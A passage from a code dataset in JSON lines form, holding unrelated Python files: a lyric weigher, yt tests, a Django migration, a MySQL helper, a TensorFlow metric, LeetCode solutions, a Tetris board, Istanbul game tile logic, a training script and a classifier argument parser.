  ret[self.idx_range] = self.weigh_subset(lyrics, *args, **kwargs)\n        return ret\n\n\nclass EqualLyricWeigher(LyricWeigher):\n    \"\"\"Weighs all lyrics equally -- regardless of content.\n\n    Args:\n        LyricWeigher (lyrics.LyricWeigher): The abstract LyricWeigher\n    \"\"\"\n\n    def weigh_subset(self, lyrics):\n        \"\"\"Weighs the subset of lyrics equally.\n\n        Args:\n            lyrics (list [str]): A list of tokens to weigh.\n\n        Returns:\n            np.array: An array containing the weights -- this will be equal\n                probability weights, so 1/ the number of lyrics in the subset.\n        \"\"\"\n\n        if not isinstance(lyrics, np.ndarray):\n            lyrics = np.array(lyrics)\n\n        subset = lyrics[self.idx_range] if self.idx_range else lyrics\n\n        return np.array([1/len(subset)] * len(subset))\n\n\nclass ConeLyricWeigher(LyricWeigher):\n\n    def __init__(self, idx_range=None, concavity=1):\n        \"\"\"Weighs lyrics in a \"cone\" structure, with lyrics at the start and\n        end of the line being weighed more heavily than those in the center,\n        and with symmetric values.\n\n        Args:\n            idx_range (list, optional): The lyric tokens in a list to consider.\n                Defaults to None. For instance, you may only want to consider\n                the first and last token.\n            concavity (float, optional): The degree of concavity -- this is the\n                exponent for the weights before it is normalized. 0 would weigh\n                them all equally. Negative values place more weight on the\n                center. Defaults to 1.\n        \"\"\"\n\n        super().__init__(idx_range)\n        self.concavity = concavity\n\n    def weigh_subset(self, lyrics):\n        \"\"\"Weighs the subset of lyrics using the cone strategy based on the\n        concavity.\n\n        Args:\n            lyrics (list [str]): A list of lyric tokens.\n\n        Returns:\n            np.array: An array containing the weights for each lyric.\n        \"\"\"\n        if not isinstance(lyrics, np.ndarray):\n            lyrics = np.array(lyrics)\n\n        subset = lyrics[self.idx_range] if self.idx_range else lyrics\n        n_tokens = len(subset)\n\n        weights = np.array([max([(n_tokens - i)/n_tokens, (i + 1)/n_tokens])\n                            for i in range(n_tokens)])\n        weights = weights ** self.concavity\n        weights /= weights.sum()\n\n        return weights\n\n\nif __name__ == '__main__':\n    test_lyrics = ['believe', 'possibility', 'finally', 'happy']\n\n    e_l_w = EqualLyricWeigher()\n    c_l_w = ConeLyricWeigher([0, 1, 3], concavity=1)\n\n    print(e_l_w.weigh_lyrics(test_lyrics))\n    print(e_l_w.weigh_lyrics(test_lyrics))\n\n    print(c_l_w.weigh_lyrics(test_lyrics))\n    print(c_l_w.weigh_lyrics(test_lyrics))\n","repo_name":"SeanAmmirati/deep-lyric-visualizer","sub_path":"src/deep_lyric_visualizer/lyrics/lyric_weigher.py","file_name":"lyric_weigher.py","file_ext":"py","file_size_in_byte":4164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42057120376","text":"import os.path\n\nfrom numpy.testing import assert_equal\n\nfrom yt.frontends.rockstar.api import RockstarDataset\nfrom yt.testing import ParticleSelectionComparison, requires_file\nfrom yt.utilities.answer_testing.framework import (\n    FieldValuesTest,\n    data_dir_load,\n    requires_ds,\n)\n\n_fields = (\n    (\"all\", \"particle_position_x\"),\n    (\"all\", \"particle_position_y\"),\n    (\"all\", \"particle_position_z\"),\n    (\"all\", \"particle_mass\"),\n)\n\nr1 = \"rockstar_halos/halos_0.0.bin\"\n\n\n@requires_ds(r1)\ndef test_fields_r1():\n    ds = data_dir_load(r1)\n    assert_equal(str(ds), os.path.basename(r1))\n    for field in _fields:\n        yield FieldValuesTest(r1, field, particle_type=True)\n\n\n@requires_file(r1)\ndef test_RockstarDataset():\n    assert isinstance(data_dir_load(r1), RockstarDataset)\n\n\n@requires_file(r1)\ndef test_particle_selection():\n    ds = data_dir_load(r1)\n    psc = ParticleSelectionComparison(ds)\n    psc.run_defaults()\n","repo_name":"yt-project/yt","sub_path":"yt/frontends/rockstar/tests/test_outputs.py","file_name":"test_outputs.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":411,"dataset":"github-code","pt":"3"}
+{"seq_id":"5929868922","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('download_center', '0002_auto_20160718_0353'),\n    ]\n\n    operations = [\n        migrations.AlterField(\n            model_name='singer',\n            name='singles_album',\n            field=models.OneToOneField(null=True, blank=True, to='download_center.Album'),\n        ),\n    ]\n","repo_name":"bitapardaz/mci_app","sub_path":"download_center/migrations/0003_auto_20160718_0446.py","file_name":"0003_auto_20160718_0446.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29777625377","text":"import json\nimport logging\n\nimport settings\nfrom utils.utils import Utils\n\nlogger = logging.getLogger(\"persuasion_engine\")\n\n\nclass MYSQL:\n\n    @classmethod\n    def get_cursor(cls):\n        # return mysql.get_db().cursor()\n        return settings.mysql.connect().cursor()\n\n    @staticmethod\n    def fetch_data(query):\n        try:\n            cursor = MYSQL.get_cursor()\n            cursor.execute(query)\n            row_headers = [x[0] for x in cursor.description]  # This will extract the headers\n            data = cursor.fetchall()\n            cursor.close()\n            response = Utils.convert_tuple_to_dict(row_headers, data)\n            return json.dumps(response, default=Utils.datetime_serializer())\n        except Exception as e:\n            logger.critical(\"Exception in executing SQL query : %s - %s \" % (query, repr(e)))\n            return json.dumps(dict())\n","repo_name":"tarunbhorhari/persuasion_engine","sub_path":"databases/mysql.py","file_name":"mysql.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14475186545","text":"import tensorflow as tf\nfrom src.scaler import Scaler\n\n\nclass MAE(tf.keras.metrics.Metric):\n    \"\"\"\n    Custom Mean Absolute Error (MAE) metric with optional inverse scaling.\n\n    Attributes:\n    - inverse (bool): If True, inverse transformation is applied to the inputs.\n    - abs_sum (tf.Tensor): Sum of absolute differences between predictions and true values.\n    - count (tf.Tensor): Total number of elements used for calculating MAE.\n    - scaler (Scaler): Instance of the Scaler class to inverse transform values.\n    \"\"\"\n\n    def __init__(self, inverse: bool = False, name: str = 'mae', **kwargs) -> None:\n        super().__init__(name=name, **kwargs)\n        self.abs_sum = self.add_weight(name=\"abs_sum\", initializer=\"zeros\")\n        self.count = self.add_weight(name=\"count\", initializer=\"zeros\")\n        self.scaler = Scaler()\n        self.inverse = inverse\n\n    def update_state(self, y_true: tf.Tensor, y_pred: tf.Tensor, sample_weight=None):\n        y_true = tf.reshape(y_true, [tf.shape(y_true)[0], -1])\n        y_pred = tf.reshape(y_pred, [tf.shape(y_pred)[0], -1])\n\n        if self.inverse:\n            y_true = self.scaler.inverse_transform(y_true, col_name=\"strain_field_matrix\")\n            y_pred = self.scaler.inverse_transform(y_pred, col_name=\"strain_field_matrix\")\n\n        error = tf.abs(y_pred - y_true)\n        abs_sum = tf.reduce_sum(error)\n        count = tf.cast(tf.size(y_true), dtype=tf.float32)\n\n        self.abs_sum.assign_add(abs_sum)\n        self.count.assign_add(count)\n\n    def result(self) -> tf.Tensor:\n        return tf.math.divide_no_nan(self.abs_sum, self.count)\n\n    def reset_state(self) -> None:\n        self.abs_sum.assign(0.0)\n        self.count.assign(0.0)\n","repo_name":"eismont21/knowledge-surrogate-opt","sub_path":"src/metrics/mae.py","file_name":"mae.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"75205122642","text":"# 给定一个二叉树，返回它的中序 遍历。\n#\n#  示例:\n#\n#  输入: [1,null,2,3]\n#    1\n#     \\\n#      2\n#     /\n#    3\n#\n# 输出: [1,3,2]\n#\n#  进阶: 递归算法很简单，你可以通过迭代算法完成吗？\n#  Related Topics 栈 树 哈希表\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\n# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\nclass Solution:\n    def inorderTraversal(self, root: TreeNode) -> List[int]:\n        \"\"\"\n        使用递归算法解决：\n        左根右=》左-打印-右\n        \"\"\"\n        # res = []\n        #\n        # def inTrave(root):\n        #     if not root:\n        #         return res\n        #     inTrave(root.left)\n        #     res.append(root.val)\n        #     inTrave(root.right)\n        # inTrave(root)\n        # return res\n        \"\"\"\n        使用栈遍历\n        \"\"\"\n        res = []\n        stack = []\n        curr = root\n\n        while curr or len(stack) != 0:\n            # 如果当前结点非空\n            while curr:\n                # 将当前结点压入栈中\n                stack.append(curr)\n                # 转向左子树, 1. 左\n                curr = curr.left\n            # 此时遍历到树的最左结点，出栈\n            curr = stack.pop()\n            # 访问当前结点值， 2. 根\n            res.append(curr.val)\n            # 访问右结点 3. 右\n            curr = curr.right\n\n        return res\n\n\n\n\n\n\n# leetcode submit region end(Prohibit modification and deletion)\n","repo_name":"Cjvaely/GitCode","sub_path":"PycharmProjects/LeetCode/L94inorderTraversal.py","file_name":"L94inorderTraversal.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"41356378060","text":"import datetime\n\nfrom django.shortcuts import get_object_or_404\n\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.exceptions import PermissionDenied, ValidationError\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom .models import Notification\nfrom .serializers import NotificationSerializer\n\nclass NotificationView(APIView):\n\n\t@api_view(['GET', 'POST'])\n\tdef notification_collection(request):\n\t\tif request.method == 'GET':\n\t\t\tnotifications = Notification.objects.filter(end__gte=datetime.datetime.utcnow()).order_by('-start')\n\t\t\tserializer = NotificationSerializer(notifications, many=True)\n\t\t\treturn Response(serializer.data)\n\t\t\n\t\telif request.method == 'POST':\n\t\t\tserializer = NotificationSerializer(data=request.data)\n\t\t\tif serializer.is_valid():\n\t\t\t\tserializer.save()\n\t\t\t\treturn Response(serializer.data, status=status.HTTP_201_CREATED)\n\t\t\telse:\n\t\t\t\traise ValidationError(detail={'error': serializer.errors})\n\n\t@api_view(['GET','PUT', 'DELETE'])\n\tdef notification_element(request, id):\n\t\tnotification = get_object_or_404(Notification, pk=id)\n\n\t\tif request.method == 'GET':\t\n\t\t\tserializer = NotificationSerializer(notification)\n\t\t\treturn Response(serializer.data)\n\n\t\telif request.method == 'PUT':\n\t\t\tserializer = NotificationSerializer(notification, data=request.data, partial=True)\n\t\t\tif serializer.is_valid():\n\t\t\t\tserializer.save()\n\t\t\t\treturn Response(serializer.data)\n\t\t\telse:\n\t\t\t\traise ValidationError(detail={'error': serializer.errors})\n\n\t\telif request.method == 'DELETE':\n\t\t\tnotification.delete()\n\t\t\treturn Response({'detail': 'Deleted'}, status=status.HTTP_200_OK)\n","repo_name":"alexmason528/vinna-web","sub_path":"server/notification/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24921500351","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport sys\n\nfrom openstack_connector_k8s import version\nfrom oslo_log import log as logging\nfrom oslo_config import cfg\nfrom openstack_connector_k8s.conf import CONF\n\nLOG = logging.getLogger(__name__)\nCONF = cfg.CONF\nDOMAIN = \"openstack-connector-k8s\"\n\ndef init(args, **kwargs):\n    version_connector = version.version_info.version_string()\n    CONF(args=args, project='openstack-connector-k8s', version=version_connector, **kwargs)\n\n\ndef setup_logging():\n    logging.setup(CONF, DOMAIN)\n    version_connector = version.version_info.version_string()\n    LOG.info(\"Logging enabled!\")\n    LOG.info(\"%(prog)s version %(version)s\",\n             {'prog': sys.argv[0], 'version': version_connector})\n","repo_name":"kevinzs2048/openstack-connector-k8s","sub_path":"openstack_connector_k8s/conf/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"}
+{"seq_id":"42671139776","text":"import datetime\nimport os\nimport sys\nimport time\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\n\nsys.path.append(os.getcwd())\nLIB_PATH = os.getcwd() + \"/art_library\"\nsys.path.append(LIB_PATH)\n# print(\"sys.path \", sys.path)\nfrom models.cifar10 import Resnet, Vgg\nfrom models.mnist import BaseModel\nfrom models.torch_util import train, validate\n\n\ndef train_model(data, model_name, dataset_train, dataset_test, epochs, device, file_model):\n    dataloader_train = DataLoader(dataset_train, batch_size=128, shuffle=True)\n    dataloader_test = DataLoader(dataset_test, batch_size=128, shuffle=False)\n    print('Train set: {}, Test set: {}'.format(len(dataset_train), len(dataset_test)))\n\n    device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n    print('Device: {}'.format(device))\n\n    if data == 'mnist':\n        model = BaseModel(use_prob=True).to(device)\n    elif data == 'cifar10' and model_name == 'resnet':\n        model = Resnet(use_prob=True).to(device)\n    elif data == 'cifar10' and model_name == 'vgg':\n        model = Vgg(use_prob=True).to(device)\n    else:\n        raise NotImplementedError\n\n    optimizer = optim.SGD(model.parameters(), lr=0.01, momentum=0.9, weight_decay=5e-4)\n    loss = nn.CrossEntropyLoss()\n    scheduler = optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=epochs)\n\n    if not os.path.exists(file_model):\n        since = time.time()\n        for e in range(epochs):\n            start = time.time()\n            tr_loss, tr_acc = train(model, dataloader_train, loss, optimizer, device)\n            va_loss, va_acc = validate(model, dataloader_test, loss, device)\n            scheduler.step()\n            time_elapsed = time.time() - start\n            print(('{:2d}/{:d}[{:s}] Train Loss: {:.4f} Acc: {:.4f}%, Test Loss: {:.4f} Acc: {:.4f}%').format(\n                e + 1, epochs, str(datetime.timedelta(seconds=time_elapsed)), tr_loss, tr_acc * 100., va_loss, va_acc * 100.))\n\n        time_elapsed = time.time() - since\n        print('Total run time:', str(datetime.timedelta(seconds=time_elapsed)))\n\n        torch.save(model.state_dict(), file_model)\n        print('Save base model to:', file_model)\n    else:\n        print('Found existing file:', file_model)\n        model.load_state_dict(torch.load(file_model, map_location=device))\n    return model\n","repo_name":"changx03/baard_exp2","sub_path":"pipeline/train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"3016781843","text":"from constants import *\nfrom stone import StoneFactory\nfrom copy import copy\n\n\nclass Board(object):\n    def __init__(self, tetris_app):\n        self.board = [[0 for x in xrange(cols)] for y in xrange(rows)]\n        self.board_ids = [y for y in xrange(rows)]\n        self.app = tetris_app\n        self.stone_factory = StoneFactory()\n        self.playing_stone = self.stone_factory.generate_stone()\n        self.next_stone = self.stone_factory.generate_stone()\n\n    def merge_stone(self, stone):\n        for cy, row in enumerate(stone):\n            for cx, val in enumerate(row):\n                self.board[cy+stone.y-1][cx+stone.x] += val\n\n    def remove_row(self, id_list):\n        for row in id_list:\n            del self.board[row]\n            self.board = [[0 for i in xrange(cols)]] + self.board\n\n    def new_stone(self):\n        self.playing_stone = copy(self.next_stone)\n        self.next_stone = self.stone_factory.generate_stone()\n        if self.__check_collision(self.playing_stone, (self.playing_stone.x, self.playing_stone.y)):\n            self.app.gameover = True\n\n    def move_stone(self, delta_x):\n        if not self.app.gameover and not self.app.paused:\n            new_x = self.playing_stone.x + delta_x\n            if new_x < 0:\n                new_x = 0\n            if new_x > cols - self.playing_stone.width:\n                new_x = cols - self.playing_stone.width\n            if not self.__check_collision(self.playing_stone, (new_x, self.playing_stone.y)):\n                self.playing_stone.x = new_x\n\n    def drop_stone(self, manual):\n        if not self.app.gameover and not self.app.paused:\n            self.app.ponctuation.add_extra_points(1) if manual else 0\n            self.playing_stone.y += 1\n            if self.__check_collision(self.playing_stone, (self.playing_stone.x, self.playing_stone.y)):\n                self.merge_stone(self.playing_stone)\n                self.new_stone()\n                cleared_rows = map(lambda x: x[1],\n                                   filter(lambda x: 0 not in x[0], zip(self.board[:], self.board_ids)))\n                self.remove_row(cleared_rows)\n                self.app.ponctuation.score_lines(self.app.level, len(cleared_rows))\n                return True\n        return False\n\n    def insta_drop_stone(self):\n        if not self.app.gameover and not self.app.paused:\n            while not self.drop_stone(True):\n                pass\n\n    def rotate_stone(self):\n        if not self.app.gameover and not self.app.paused:\n            next_stone = self.playing_stone.rotate_clockwise()\n            if not self.__check_collision(next_stone, (self.playing_stone.x, self.playing_stone.y)):\n                self.playing_stone = next_stone\n\n    def __check_collision(self, stone, offset):\n        off_x, off_y = offset\n        for cy, row in enumerate(stone[:]):\n            for cx, cell in enumerate(row):\n                try:\n                    if cell and self.board[cy + off_y][cx + off_x]:\n                        return True\n                except IndexError:\n                    return True\n        return False\n\n    def __getitem__(self, key):\n        return self.board[key]\n\n\n\n","repo_name":"adrianovinhas-zz/ai-tetris","sub_path":"game/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":3154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32964051502","text":"import sys\n\ndef get_reverse_alphabet(alphabet):\n    alphabet_list = list(\"-abcdefghijklmnopqrstuvwxyz\")\n    alphabet_len = len(alphabet_list)\n    alphabet_index = alphabet_list.index(alphabet)\n    if alphabet_index < 14:\n        return alphabet_list[-alphabet_index]\n    else:\n        return alphabet_list[alphabet_len-alphabet_index]\n\ncases = int(sys.stdin.readline())\n\nfor _ in range(cases):\n    flag = True\n    reverse_word = \"\"\n    word = sys.stdin.readline().strip().lower()\n\n    for w in word:\n        if get_reverse_alphabet(w) not in word:\n            flag = False\n            break\n\n    if flag:\n        print(\"Yes\")\n    else:\n        print(\"No\")\n","repo_name":"dydwnsekd/coding_test","sub_path":"baekjoon/python/10176.py","file_name":"10176.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"9480781832","text":"import collections\nfrom typing import Set, Dict, Tuple, List, Optional, Counter\n\nfrom constants import Player, Good, Card, Tile\n\n\nclass TileState(object):\n    def __init__(self):\n        self.governor: bool = False\n        self.smuggler: bool = False\n        self.assistants: Set[Player] = set()\n        self.family_members: Set[Player] = set()\n        self.players: Set[Player] = set()\n\n\nclass GenericTileState(TileState):\n    pass\n\n\nclass MosqueTileState(TileState):\n    def __init__(self, goods: Set[Good]):\n        super(MosqueTileState, self).__init__()\n        self.available_tiles: Dict[Good, int] = {good: 2 for good in goods}\n\n    def take_action(self, good: Good):\n        assert good in self.available_tiles, 'mosque does not have {} tile'.format(good)\n        if self.available_tiles[good] < 5:\n            self.available_tiles[good] += 1\n        else:\n            del self.available_tiles[good]\n\n\nclass PostOfficeTileState(TileState):\n    MAIL = (\n        (Good.RED, Good.GREEN),\n        (2, 1),\n        (Good.BLUE, Good.YELLOW),\n        (2, 1),\n    )\n\n    def __init__(self):\n        super(PostOfficeTileState, self).__init__()\n        self.position: int = 0\n\n    def available(self) -> Tuple[Set[Good], int]:\n        goods = set()\n        lira = 0\n        for i in range(len(self.MAIL)):\n            idx = 0 if self.position > i else 1\n            if i % 2 == 0:\n                goods.add(self.MAIL[i][idx])\n            else:\n                lira += self.MAIL[i][idx]\n        return goods, lira\n\n    def take_action(self) -> Tuple[Set[Good], int]:\n        goods, lira = self.available()\n        self.position = (self.position + 1) % 5\n        return goods, lira\n\n\nclass CaravansaryTileState(TileState):\n    def __init__(self):\n        super(CaravansaryTileState, self).__init__()\n        self.discard_pile: List[Card] = []\n        self.awaiting_discard: bool = False\n\n    def discard_onto(self, card: Card):\n        self.discard_pile.append(card)\n        self.awaiting_discard = False\n\n    def take_action(self, count: int) -> List[Card]:\n        assert not self.awaiting_discard\n        assert 0 <= count <= 2\n        self.awaiting_discard = True\n        if count == 0:\n            return []\n        assert len(self.discard_pile) >= count\n        result = self.discard_pile[-count:]\n        self.discard_pile = self.discard_pile[:-count]\n        return result\n\n\nclass WainwrightTileState(TileState):\n    def __init__(self, extensions: int):\n        super(WainwrightTileState, self).__init__()\n        self.extensions = extensions\n\n    def take_action(self):\n        self.extensions -= 1\n        assert self.extensions >= 0\n\n\nclass MarketTileState(TileState):\n    def __init__(self, one_cost: int):\n        super(MarketTileState, self).__init__()\n        self.one_cost: int = one_cost\n\n        self.expecting_demand: bool = True\n        self.demand: Optional[Counter[Good]] = None\n\n    def set_demand(self, demand: Counter[Good]):\n        assert sum(demand.values()) == 5\n        self.demand = demand\n        self.expecting_demand = False\n\n    def take_action(self, payment: Counter[Good]) -> int:\n        assert not self.expecting_demand\n        for k in payment:\n            assert payment[k] <= self.demand[k]\n        self.expecting_demand = True\n        count = sum(payment.values())\n        return sum(range(self.one_cost, self.one_cost + count))\n\n\nclass SultansPalaceTileState(TileState):\n    GOOD_CYCLE = (\n        Good.BLUE,\n        Good.RED,\n        Good.GREEN,\n        Good.YELLOW,\n        None,  # using this to mean any\n    )\n\n    def __init__(self, init_advanced: bool):\n        super(SultansPalaceTileState, self).__init__()\n        self.required_count: int = 4 if not init_advanced else 5\n\n    def required(self) -> Optional[Counter[Optional[Good]]]:\n        assert self.required_count >= 4\n        if self.required_count > 10:\n            return None  # indicating no more rubies available\n\n        result: Counter[Optional[Good]] = collections.Counter({None: 0})\n        for i in range(self.required_count):\n            result[self.GOOD_CYCLE[i % 5]] += 1\n        return result\n\n    def take_action(self, payment: Counter[Good]):\n        required = self.required()\n        assert required is not None\n        payment = payment.copy()\n        assert sum(required.values()) == sum(payment.values())\n        for g in payment:\n            assert payment[g] >= required[g]\n        self.required_count += 1\n\n\nclass GemstoneDealerTileState(TileState):\n    def __init__(self, initial_cost: int):\n        super(GemstoneDealerTileState, self).__init__()\n        self.cost: Optional[int] = initial_cost\n\n    def take_action(self):\n        assert self.cost is not None\n        self.cost += 1\n        if self.cost > 24:\n            self.cost = None\n\n\ndef initial_tile_state(tile: Tile, player_count: int):\n    assert 2 <= player_count <= 5\n    if tile in {Tile.FABRIC_WAREHOUSE, Tile.FRUIT_WAREHOUSE, Tile.POLICE_STATION, Tile.FOUNTAIN, Tile.SPICE_WAREHOUSE,\n                Tile.BLACK_MARKET, Tile.TEA_HOUSE}:\n        return GenericTileState()\n    simple_mapping = {\n        Tile.POST_OFFICE: PostOfficeTileState,\n        Tile.CARAVANSARY: CaravansaryTileState,\n    }\n    if tile in simple_mapping:\n        return simple_mapping[tile]()\n\n    if tile is Tile.GREAT_MOSQUE:\n        return MosqueTileState({Good.BLUE, Good.YELLOW})\n    if tile is Tile.SMALL_MOSQUE:\n        return MosqueTileState({Good.RED, Good.GREEN})\n    if tile is Tile.SMALL_MARKET:\n        return MarketTileState(2)\n    if tile is Tile.LARGE_MARKET:\n        return MarketTileState(3)\n    if tile is Tile.SULTANS_PALACE:\n        return SultansPalaceTileState(player_count < 4)\n    if tile is Tile.WAINWRIGHT:\n        return WainwrightTileState(3 * player_count)\n    if tile is Tile.GEMSTONE_DEALER:\n        if player_count == 2:\n            initial_cost = 15\n        elif player_count == 3:\n            initial_cost = 14\n        else:\n            initial_cost = 12\n        return GemstoneDealerTileState(initial_cost)\n","repo_name":"nverhaaren/istanbul-game","sub_path":"tiles.py","file_name":"tiles.py","file_ext":"py","file_size_in_byte":6007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12281297953","text":"class Solution:\n    def maxSubArray(self, nums: List[int]) -> int:\n        sums = 0\n        maxi = nums[0]\n        for num in nums:\n            sums+=num\n            maxi = max(sums, maxi)\n            if sums<0:\n                sums = 0\n        return maxi        \n","repo_name":"sniper7398/Competative_Coding","sub_path":"45.Maximum_subarray.py","file_name":"45.Maximum_subarray.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1546920205","text":"from typing import Optional\n\n\nclass ListNode:\n    def __init__(self, val=0, next=None):\n        self.val = val\n        self.next = next\n\n\nclass Solution:\n    @staticmethod\n    def reverse_list(node1: Optional[ListNode]) -> Optional[ListNode]:\n        \"\"\"\n        Reverses a linked list iteratively in linear time and constant space.\n        :param node1: Head of a linked list\n        :return: Head of reversed linked list\n        \"\"\"\n        if node1:\n            node2, node1.next = node1.next, None\n            while node2:\n                node1, node2.next, node2 = node2, node1, node2.next\n        return node1\n","repo_name":"patricktsandin/leetcode","sub_path":"leetcode/easy/python/reverse_linked_list/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24653108289","text":"# nama = input(\"Masukkan nama: \")\r\n# print(\"Nama anda \",nama)\r\n# print(f\"Nama anda {nama}\")\r\n\r\n# # PROGRAM MENENTUKAN BILANGAN GANJIL ATAU GENAP\r\n\r\n# # mengambil nilai dari user\r\n# x = int(input(\"Masukkan Bilangan: \"))\r\n\r\n# # cek nilai apakah genap atau ganjil dengan modulo\r\n# if x % 2 == 0:\r\n#     print(f\"Bilangan {x} adalah bilangan genap.\")\r\n# else:\r\n#     print(f\"Bilangan {x} adalah bilangan ganjil.\")\r\n\r\n\r\n\r\n# # inputan dari user\r\n# nilai = int(input(\"Masukkan nilai: \"))\r\n# presensi = int(input(\"Masukkan presensi: \"))\r\n\r\n# # cek kondisi cara 1\r\n# if (nilai >= 81) and (presensi>=12):\r\n#     print(\"Nilai akhir anda A\")\r\n# elif (nilai >= 61) and (presensi>=10):\r\n#     print(\"Nilai akhir anda B\")\r\n# elif (nilai >= 41) and (presensi>=8):\r\n#     print(\"Nilai akhir anda C\")\r\n# elif (nilai >= 21) and (presensi>=6):\r\n#     print(\"Nilai akhir anda D\")\r\n# else:\r\n#     print(\"Nilai akhir anda E\")\r\n\r\n# # Cara 2\r\n# nilaiHuruf = ''\r\n# if (nilai >= 81) and (presensi>=12):\r\n#     nilaiHuruf = 'A'\r\n# elif (nilai >= 61) and (presensi>=10):\r\n#     nilaiHuruf = 'B'\r\n# elif (nilai >= 41) and (presensi>=8):\r\n#     nilaiHuruf = 'C'\r\n# elif (nilai >= 21) and (presensi>=6):\r\n#     nilaiHuruf = 'D'\r\n# else:\r\n#     nilaiHuruf = 'E'\r\n\r\n# print(f'Nilai akhir anda adalah {nilaiHuruf}')\r\n\r\ndef selectionCar():\r\n    color = input(\"Warna Mobil: \").lower\r\n    model = int(input(\"Tahun Model: \"))\r\n    mileage = int(input(\"Jarak Tempuh (km): \"))\r\n    car = input(\"Merek Mobil: \").lower\r\n    decision = ''\r\n\r\n    if color==\"blue\":\r\n        if model>2015:\r\n            decision = 'BELI'\r\n        else:\r\n            if mileage < 500000:\r\n                decision = 'BELI'\r\n            else:\r\n                decision = 'JANGAN BELI'\r\n    elif color==\"red\" and car==\"ferrari\":\r\n        decision = 'BELI'\r\n    else:\r\n        decision = 'JANGAN BELI'\r\n\r\n    print(f\"Saran: {decision} mobil tersebut.\")\r\n\r\ndef selectionHome():\r\n    familyNum = int(input(\"Jumlah keluarga: \"))\r\n    married = input(\"Status menikah (y/t): \").lower\r\n    salary = int(input(\"Penghasilan: \"))\r\n    decision = ''\r\n\r\n    if familyNum > 3:\r\n        if married == 'y':\r\n            decision = '3BHK'\r\n        else:\r\n            if salary > 40000:\r\n                decision = '2BHK'\r\n            else:\r\n                decision = '1BHK'\r\n    else:\r\n        if salary > 80000:\r\n            decision = '4BHK'\r\n        else:\r\n            if married == 'y':\r\n                decision = '3BHK'\r\n            else:\r\n                decision = '2BHK'\r\n    print(f\"Anda harus membeli rumah dengan kriteria {decision}\")\r\n\r\nif __name__ == '__main__':\r\n    selectionHome()","repo_name":"muhammadzakariyah/alpro","sub_path":"part3_selection.py","file_name":"part3_selection.py","file_ext":"py","file_size_in_byte":2615,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33794096826","text":"import numpy as np\nimport argparse\n\n''' Generic parser for classifiers '''\ndef ClassificationParser():\n    parser = argparse.ArgumentParser(\n            description='Classification Parser',\n            )\n    parser.add_argument(\n            'train_file',\n            type=str,\n            help='csv file with training data',\n            )\n    parser.add_argument(\n            'val_file',\n            type=str,\n            help='csv file with validation data',\n            )\n    parser.add_argument(\n            'test_file',\n            type=str,\n            help='csv file with test data',\n            )\n    parser.add_argument(\n            '--business_csv',\n            type=str,\n            required=False,\n            help='The business csv file to get extra features from.',\n            )\n    parser.add_argument(\n            '--multi_class',\n            action='store_true',\n            default=False,\n            required=False,\n            help='multiclass or binary classification',\n            )\n    parser.add_argument(\n            '--frequency',\n            action='store_true',\n            default=False,\n            required=False,\n            help='use frequency of presence for bag of words featurization',\n            )\n    parser.add_argument(\n            '--tf_idf',\n            action='store_true',\n            default=False,\n            required=False,\n            help='use tf_idf normalization for bag of words featurization',\n            )\n    return parser\nfrom six.moves import cPickle as pickle\n\n'''\nReturn number of classification errors\n\nArguments pred and labels are both (num_samples, 1) ndarrays.\n'''\ndef classif_err(pred, labels):\n    errors = len(pred) - np.count_nonzero(pred == labels)\n    return float(errors), float(len(pred) - errors) / len(pred)\n\n\n'''\nAppend classification results to file.\n\nArguments:\n   results_file: filepath of file to write to\n   params_list: list of dicts containing parameters used {str: *}\n   